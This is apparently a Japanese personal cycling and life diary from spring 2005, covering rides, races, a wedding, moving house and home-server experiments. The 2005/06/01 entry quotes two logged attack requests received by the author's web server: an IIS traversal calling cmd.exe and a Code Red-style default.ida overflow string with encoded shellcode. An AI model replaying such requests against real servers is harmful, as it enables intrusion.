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研究日誌

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/29
矢田川ポタ(E3x60分 CAD:70〜80rpm)
河川敷の端まで往復するとちょうど1時間。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/29
JOG E3x30min
片足スクワット10回、腹筋20回、腕立て20回。
これだけで、めちゃえれ〜〜

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/28
片足スクワット10回、腹筋20回。
これだけで筋肉痛になりそう。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/26
今日は久々にT山へ行ってきた。
7時くらいに出発しようかと思っていたがうだうだして家を出たのは9時半頃。
下道1時間くらいでT山駐車場に到着するとマッキーが走り終えて片付け中。
しばらくしたらT口氏が登場、しばらくだべってから、パルテノンまでW/UP。
このなまりきった体の状態を確かめるべくTime Attackすることにした。
昨年のベストタイムは去年の10月に出した15分58秒だがとてもそんなタイム は出そうもない。とりあえず目標は20分を切るということに設定。 なるべく重いギヤを踏んで登ろうと決めてスタートしたけど、 結局、禁断のインナーローを使って登ってしまった。

結果:18分30秒

思っていたよりもいいタイムだったのでほっとした。
そしてエビスを下って駐車場まで帰ってくるとT口氏の他にタカさん、U16氏、 ミズタニ氏、サンゴ氏がいた。

帰りにミドリ電化でビーバーエアコンを発注し、 カトー行って菊一のF/UPとロードのフレームを物色しに行ってきた。 菊一の状況を聞くとチューブが手に入らないとかなんとかで 生産のめどがたっていないらしい。SDAにはなんとか間に合って欲しい物だ。 ロードは色々あって違いがよくわからんが、コルナゴ、ルック、スペシャとか がよさげ。GIOSは残念ながら置いてなかった。引続き研究することにしよう。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/24
免許更新で平針まで往復。
筋力強化の為(打倒マッキーの為)、
ケイデンスは80以下の重いギアを使う。

E3 x 148min 43.9km

新しいサドルとグリップにしたら気分がいい。
初めてネジ止めタイプのグリップを装着。 結構強くネジを締めないと簡単に回ってしまうが、 ネジ山はアルミっぽいし、なめてしまいそうで恐い。

NEW VELO

NEW GRIP

帰ってきてからHOBIOのオイル交換をした。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/22
JOG E3x40min

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/19
フクイまでポタ(E3 x 106min)。
昨日サドルが曲がってしまったので VELOの同じサドルを買ってきた。

表側

裏側

その後大須に行ってメモリプレーヤー(512MB)を買ってきた。
前々から気になっていたが面白くてなかなか使える。
こんなに小さいのにFMが聞けて音声録音もできるし、mp3エンコーダーもついている。 USB MASS STRAGEなのでLinuxでも普通に使えるのがよい。
最初MDプレーヤーを買おうと思って大須にいったが、音とびしないし壊れなさ そうだし軽くてちっこいし安いし(12,000円)こっちに決めた。

ZEN

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/18
ウィングヒルズのデポカップ2時間耐久に出場してきました。
今回はリハビリを兼ねて夫婦で男女混合にエントリー
エントリーが少なかったら表彰台を狙えるかも . . .
なんて思っていたが10チーム以上エントリーがあり、
あの"たちか"夫妻も出場していて即無理と判明。

昨年は悪天候、マッドコンディションで泥が自転車につまってリタイヤした が、 今日はとてもいい天気。

楽しんでゆっくり走ろうとか思っていたが、走り出すと少しでも速く走りたいと思っ てがんばってしまった。でも心拍190オーバーで走ったが全然前に進まない。 たちかさん、たかちゃん、おーのはもちろんマッキーにも抜かれてしまって、 結果は10位。 練習せねば . . .

他のエントリーはお〜の、たかちゃん、マッキーがソロ。
たかちゃんはカウント間違いで10位以下、お〜の8位だったがお〜のが 俺とたかちゃんのゼッケンのまちがいやろ〜とか直訴した結果、 たかちゃん3位に浮上、無事表彰台に登ることができました。
お〜のいいやつやな〜
マッキーはもちろん優勝です!

マッキー優勝!

ここに写真と 巨大ムービーをしばらく置いておきます。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/15
K's電器までJOG E2〜E3 x 50min

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/12
今日は多度にでも行こうかと思っていたが家具の搬入があって遅くなったの でやめてナイトポタ。(E2〜E3x47min)
庄内緑地公園を2周して帰ってきた。

最近DVDにはまってすっかりインドア派だ。
そいや、なぜか俺の選ぶDVDはトムクルーズばっかり。
バニラスカイ、トップガン、デイズオブサンダー、ラストサムライ
どれも結構おもしろかった。バニラスカイとラストサムライは名作だ。
トムクルーズ以外ではパールハーバーも見たけど ドンパチシーンばっかで飽きて寝てしまった。
次はマイノリティーリポートを借りてこようかと思う。
因みにこれもトムクルーズ。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/09
今日は早く帰ってきたので久々にCOYOTEに乗って庄内川をポタリング。
いや〜やっぱ気持ちいいね〜MTB最高〜!

ポタ(E2〜E3x40min)

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/07
家に帰ってきてメールのチェックしたら、
なんと数百件のエラーメールが届いていた。
送信用メールキューを見ると1万件くらいのメールが溜っていて俺のパソコン からメールを送り続けているのが発覚!
どうやらSPAMメールの踏台にされてしまったようだ。
速攻でネットワークを切断して第3者からのメールを転送しないように設定し た。こわいこわい . . .

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/04
会社の同期のN村君の結婚式の2〜3次会に行ってきました。
2次会でみんなチューさせるのを忘れていたので、
3次会でチューさせてきました。

N村君、なかなかいいチューっぷりです。

N村夫妻

チュ〜〜

胴上げ

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/02
昨日久々に走ったせいか右の膝が痛い。
やはり、そうとう体が弱っているようだ。
おかげで会社の駐車場からダッシュできなくて、
フレックス非適用日なのに2分くらい遅刻してしまった。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/06/01
結婚式も終ったしリハビリがてらJOG(E2x30分)。

最近なぜかポラールからパソコンにデータをUPできなかったが、 電池を交換したらUPできるようになった。

そいや昨日から公開を開始したWEBサーバーのログに
アタックと思われるリクエストがたくさん(合計147回)記録されていた。

たとえば

218.62.69.147 - - [01/Jun/2005:18:36:47 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281

とか

61.134.114.174 - - [01/Jun/2005:07:18:07 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u 8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271

とか . . .

恐ろしい世の中だね〜

まじめにセキュリティーを考えんとほんとにやばそう。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/05/31
ダイナミックDNSで自宅マシンに外からアクセスできるようにしました! http://mtblab.atso-net.jp/~kawacci/mtblab/
これでどんな巨大なファイルでも公開できるようになった。

でも俺のパソコンの電源が入ってなければアクセスできませんから〜切腹!

それとクラッカーに破壊されるのも時間の問題かも?

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/05/29 55.0 10.4 46.7

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/05/28
豊田市のフォレスタヒルズで結婚式を挙げてきました。
新郎あいさつはつまりながらも読まずになんとかできた。
少し緊張したけどスターになった気分でおもろかった。

馬車で教会まで出発

挙式後

ケーキカット

プロモビデオ

スライド

披露宴後

XTクランクなどなど

KOMATSU,NOBYを始め披露宴のスピーチ、余興、
2次会の幹事をやってれた方々、
XTクランクをプレゼントしてくれたTEAM WICのみなさん、
祝電を送ってくれたTEAM WICシアトル支部のみなさん。
2次会乱入して花束くれて鬼ころしをイッキ飲みさせてくれて、
3次会でスイカリレーしてくれた大学の琴尺八部のみなさん。
4次会でチュウを披露してくれたSHIBATA夫妻などなど、
本当にどうもありがとうございました。
夫婦共々これからもよろしくお願いします。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/05/27
明日はとうとう結婚式です。
なんとかプロモビデオは完成しましたが、 新郎挨拶がやばいです。
しゃべれる気がしません。
いざというときのカンペを用意していこう

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/28
今日、入籍してきた。
明日から社宅に引越予定。
一番の荷物は自転車なので最初に運ぼう。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/27
310円になった。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/26
電気、ガス、電話の申し込みをした。
あとはプロバイダだが、
たくさんありすぎてどれがよいかわからん。

そいや、俺の2番目の財産をヤフオクに出品中。 現在300円。

車高調

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/21
RACE FACEのクランクの値段が上昇中で5750円の値段がついた。
並べかたとか、光の加減とかを調整して写真をとるのが面白い。
結構たくさんの人がみるわけだし個展でもやってる気分?

RACE FACE

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/16
引っ越しの不要品の処分でネットオークションにオートバイ用品とか車用品 とかを出品していたが飛ぶように売れていく。 賞品でもらったハンドルとシートポスト、KIKAPU純正のTRUVATIVクランクとかも 出品してみたが出品してすぐに入札されていた。 発送とかめんどくさいけど捨てるよりは誰かに使ってもらったほうがいいの で「いらんものはコメヒョウ」ではなく「いらんものはヤフオク」で決まり。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/15
引っ越し準備を開始。
とりあえずダンボール3箱に本をつめた。
まだまだ先は長いぞ。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/09
荷物を減らす為いらん物をネットオークションに出品したり社宅の下見に行っ てきた。 でも鍵があるはずの場所に無くて、同期の自治会長T中宅を訪問するが不在、 同期の鬼コブ団長S田宅に行って聞いたがよくわからんといわれ、 フロア長の知らない人のお宅に行って奥さんに聞いたが不明。 結局社宅管理会社に電話してようやく開けてもらえた。 その後は電化製品見たり家具見たり。 とりあえず必要な大物の概算金額を調べてきた。 冷蔵庫:7萬、洗濯機:6萬、オーブンレンジ:5萬、炊飯ジャー:1萬、電灯:5萬 タンス:20萬?、液晶ワイド26型:20萬、ビデオ?DVD?:8萬、食器棚:5萬 ベッド:10萬、ソファー:5萬、テーブル:5萬、カーテン、 . . .
100萬に届きそうな勢いだ。収納場所が多いのでタンスはじゃまになる からいらんかな〜とか思うけど。
ところでビデオってまだみんな使ってるのかな?
HDD+DVDにとって変わるのか?ビデオは残るのか? どれを買うべきか悩みどころだ。

とりあえず、大画面テレビでツールドフランスのDVDをみながら ローラー台で追い込んで汗ダクになったらソファーで休憩! みたいな環境を構築したい。

そいや、最近のテレビはパソコン入力端子がついてるみたいなので、 大画面テレビにハイスペックパソコン繋いで動画編集とかもしたいね〜

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/04〜08
おやすみ

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/03
カンモの伊良湖4耐にかじまさん、ぶーごと出場。
遅刻しそうになったり雨も心配されたが、
予想を見事に裏切ってめちゃイー天気!
WICの他にはオハサマBIKES改め殿様BIKESとマッキーが参加。
最近あんまり乗ってなかったのもあったし、
シーズン初レースで調子は出なかったが気持ち良く乗れて、結果は12位。

鬼監督不在でプレッシャーから解放された為か?
いつもは顔が曲がる程追い込むぶーごが笑顔で走っていた。

笑顔で走るぶーご

しばらくムービー (113MB)をおいときます。

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/04/01〜02
おやすみ

日付 曜日 起床心拍(bpm) 体重(kg) 体脂肪(%) 筋肉量(kg)
2005/03/31
ドーム野球観戦

開幕線(中日vs横浜)で超満員。
9回まで無得点だったが、アレックスが
サヨナラ満塁ホームランを打って中日の勝ち。

試合中

ご満悦な中日ファン達

そいや、楽天が16対5で西武に勝ったようだ。